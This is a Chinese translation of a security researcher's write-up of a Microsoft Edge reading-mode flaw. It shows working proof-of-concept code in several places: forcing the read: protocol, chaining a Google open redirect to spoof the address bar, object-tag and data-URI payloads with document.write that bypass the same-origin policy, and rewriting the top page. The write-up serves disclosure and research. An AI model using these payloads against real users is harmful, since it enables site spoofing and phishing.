原文:Edge – SOP bypass courtesy of the reading mode
原作者: Manuel Caballero
譯:Holic (知道創宇404安全實驗室)

Microsoft Edge 團隊近期發了篇關于閱讀模式的推特,這項功能可以消除網頁上的一些混亂元素,以便專心閱讀。這對我來說不是新鮮事,但直到這封推文提醒我,我去了解偽協議在 Edge 上如何運行的時候才去學了相關知識。你若想趕緊看結果,請看 PoC 視頻,不然繼續往下讀吧。

要查看閱讀模式,請加載網站,點擊閱讀視圖按鈕(像是一本書的圖標)。

該項功能還可以保護視力。

然而,這個頁面的真實地址是什么呢?打開開發者工具(F12)并在控制臺中輸入 location.href。顯然,Edge 在 URL 前面添加了 read: 偽協議。

以下漏洞適用于所有的 Edge 版本,但 PoC 本身是針對 Edge 15 (創意者更新之后)構造的。要想在舊版本上運行,需要修改一下以便閱讀模式下能夠順利進行渲染。

閱讀模式是一種內部資源

閱讀模式與真實網站無關。如果我們看源碼的話(按下 CTRL U),我們看到并沒有追溯到原始頁面。實際上,這是個托管在文件系統的內部資源。

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\ReadingView

Edge 解析原始頁面的內容,刪除 iframe/scripts 以及其他 html 標簽,最后將其在內部閱讀視圖 html 中托管的 iframe 中進行渲染。但所有的這些細節都會在后臺發生,用戶會有一種還在原始網站上的錯覺,因為地址欄并沒有發生改變。

但是,如果 Edge 通過在 URL 之前設置 "read:" 協議的方法實現在閱讀頁面下渲染頁面,這一點能利用腳本實現嗎?我們可以在閱讀模式下加載任意網址嗎?

強制進入閱讀模式

我們看看能不能用添加前置 read: 協議的方法,強制將任意 URL 渲染為閱讀模式。

location.href = "read:http://www.cracking.com.ar"; // prepending read: does the trick

效果拔群,而有件事卻引起了我的注意:地址欄中的 URL 是 crack.com.ar 而渲染的內容來自 brokenbrowser.com。什么情況?如果我們訪問 crack.com.ar 我們會看到 location.replace 將其跳轉至 brokenbrowser.com ,而 Edge 并沒有更新其地址欄!

漏洞 #1 - 當腳本或 http 重定向發生時,Edge 并不會更新地址欄。

找出有趣的重定向

這意味著我們可以使用開放的重定向欺騙任何網站,甚至更好的情況是,這些網站已經重定向至我們可控的站點。比如,如果我們可以使 google.com 重定向到一個惡意的頁面,那么用戶將會認為內容來自 google,而實際上是來自 evil.com。

順帶一提,考慮到所有搜索結果都是重定向至目標的形式,在 google 上進行欺騙并不困難。例如,google 從 cracking.com.ar 索引了 "cracking-01.html" 頁面,如果我們找到重定向至該頁面的原始鏈接,一切便盡在掌握之中。因為這是我自己的服務器,我能隨意改變它!這能行得通嗎?我打開了 Chrome,鼠標在鏈接上懸停一會兒,在 google 上找到重定向到我服務器(crack.com.ar)的鏈接。請記住:我們的目標是找到重定向至 crack.com.ar 的 Google URL,該網站受我所控。

閱讀模式下的重定向

現在 google.com.ar 上有了重定向到 crack.com.ar 的 URL。在 crack.com.car 中有一段文字:" Not really Google" ,因此我們能夠輕易分辨出內容的來源所在。以下是使用前綴 read:協議的 google 重定向,在 Edge 中打開的話顯示如下:

read:https://www.google.com.ar/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiRx_eksaTTAhURl5AKHcrxCuoQFgggMAA&url=http%3A%2F%2Fwww.cracking.com.ar%2Fcracking-01.html&usg=AFQjCNGa3PACMDlI6RdBOnoEfySVh1C2ZQ

Wow!不錯的內容欺騙,可惜是在閱讀模式!這說明我們不能夠完全控制頁面的外觀。還要記得:Edge 在渲染我們的小把戲之前會去除大量的 html 內容。例如,iframe 和 script 都會被移除,JavaScript 鏈接也不奏效(多虧了渲染正文之前的 META CSP 標簽)。那么如何自定義頁面,并擺脫那個淡黃色的背景呢?又怎么在其中運行腳本呢?

在閱讀模式中運行腳本

處于閱讀模式之際, Edge 會盡量把內容保持成靜態的,即不允許運行腳本,iframe 也會被去除,諸如此類。換而言之,最終的內容看起來像是一本書,而不是一個網頁。而我們將嘗試打破這種靜態閱讀模式的障礙,這種像是一切都被凍住的狀態。

我來助你一臂之力,捉蟲獵手:我手工測試了幾個 html 標簽,比如 iframe/script/meta ,但是這些都被正確地移除了。然后我嘗試了 object/html 標簽,我很驚訝,竟然可以的!比想象中的更容易,object/html 標簽類似 iframe :他們都是可以運行 script 的 html 容器。

漏洞 #2 - Microsoft Edge 在閱讀模式下沒有移除 object 標簽。

那么,如果在 crack.com.ar 中的頁面中添加一個 object 標簽,然后彈出一個提示,那么它應該會令人信服。

<!-- prompt.html does a window.prompt with the hard coded "google.com needs..." message -->
<object data="http://www.cracking.com.ar/prompt.html"></object>

現在,Edge 認為首頁的源是 google.com.ar(實際上是 crack.com.ar),object/html 的源是 crack.com.ar(這個是真實情況)。那么問題來了,捉蟲獵手,我們被困在這個小盒子中,我們可以拋出 prompt/alert,但是無法訪問頂部。

假如想把頂部的背景更改為白色,或者其它更有說服力的攻擊手段,我們需要繞過同源策略,或者不更改地址欄就能設置頂部的 URL。試試前者的 SOP 繞過吧。

<object> 盒子之外的思考

如何代表頂部的域來渲染任意 html 代碼,以真正訪問到它呢?data uri 這里是可控的。與在 cracking.com.ar 上托管內容不同,使用 data uri 渲染 html,就像這樣:

<!-- object rendering a data uri -->
<object data="data:,<script>alert(top.location)</script>"></object>
<!-- ACCESS DENIED data uris have their own unique origin -->

Oppss!沒那么順利。Edge 不允許我們利用 data uri 訪問其他文檔,這種做法很好!所有瀏覽器都把 data uri 作為與創建者不同的獨立源進行渲染。但是在 Edge 上這個限制很容易繞過:在加載頁面之后使用一個 self-document.write 就能匹配父頁面的域了。

<object data="data:,<script>
window.onload = function()
{ // Executing a document.write in a data uri after the onload
  // changes the location of the object to its parent URL.
  document.write('<script>alert(top.location.href)<\/script>');
  document.close();
}
</script>"></object>
<!-- Now we have the same location as our top -->

Yes,捉蟲獵手!這回是真正訪問 Google 的頂級域名了。此時,我們完全可以訪問渲染閱讀模式的內部 html 代碼,而不用其改變任何東西,用 top.document.write 即可擺脫淡黃色的背景。

<object data="data:,<script>
window.onload = function()
{
  document.write(
    '<script>'+
        'top.document.write(\'Trust me, we are on Google =)\');'+
        'top.document.close()'+
    '<\/script>');
  document.close();
}
</script>"></object>

[ Test the PoC Live on Edge ]

[ Video in YouTube ]

所需離線文件點此下載

以我之見,貴在堅持,但這次很幸運,要感謝原推文,以及初始重定向。我確信繼續探索會發現更多的東西,我的讀者朋友,很多時候我不會深入這些 bug,所以它們還有更多的擴展空間,要把它變成自己的!下面傳授一些人生經驗吧 - 就像身經百戰的 Richard Feynman - the pleasure of finding things out。我不是科學家,但這本書深深地打動了我:

Why do we do science? Beyond altruistic and self-aggrandizing motivations, many of our best scientists work long hours seeking the electric thrill that comes only from learning something that nobody knew before.

此致。除了好奇心和堅持,沒有什么比得上『electric thrill』了,探索,研究,學習,更重要的是開心!

Have a nice day! ?


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/281/